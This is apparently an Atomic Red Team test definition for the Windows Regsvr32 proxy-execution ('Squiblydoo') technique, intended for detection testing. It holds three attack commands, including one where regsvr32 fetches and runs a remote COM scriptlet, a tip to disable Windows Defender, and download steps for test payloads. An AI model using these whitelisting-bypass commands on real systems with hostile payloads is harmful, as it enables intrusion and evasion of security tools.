Skip to content

Files

Latest commit

author
CircleCI Atomic Red Team doc generator
May 6, 2020
5859178 · May 6, 2020

History

History
133 lines (72 loc) · 4.83 KB

T1117.md

File metadata and controls

133 lines (72 loc) · 4.83 KB

T1117 - Regsvr32

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

Atomic Tests


Atomic Test #1 - Regsvr32 local COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
filename Name of the local file, include path. Path PathToAtomicsFolder\T1117\src\RegSvr32.sct

Attack Commands: Run with command_prompt!

regsvr32.exe /s /u /i:#{filename} scrobj.dll

Dependencies: Run with powershell!

Description: Regsvr32.sct must exist on disk at specified location (#{filename})
Check Prereq Commands:
if (Test-Path #{filename}) {exit 0} else {exit 1} 
Get Prereq Commands:
New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1117/src/RegSvr32.sct" -OutFile "#{filename}"


Atomic Test #2 - Regsvr32 remote COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url URL to hosted sct file Url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/src/RegSvr32.sct

Attack Commands: Run with command_prompt!

regsvr32.exe /s /u /i:#{url} scrobj.dll


Atomic Test #3 - Regsvr32 local DLL execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
dll_name Name of DLL to Execute, DLL Should export DllRegisterServer Path PathToAtomicsFolder\T1117\bin\AllTheThingsx86.dll

Attack Commands: Run with command_prompt!

IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )

Dependencies: Run with powershell!

Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})
Check Prereq Commands:
if (Test-Path #{dll_name}) {exit 0} else {exit 1} 
Get Prereq Commands:
New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1117/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"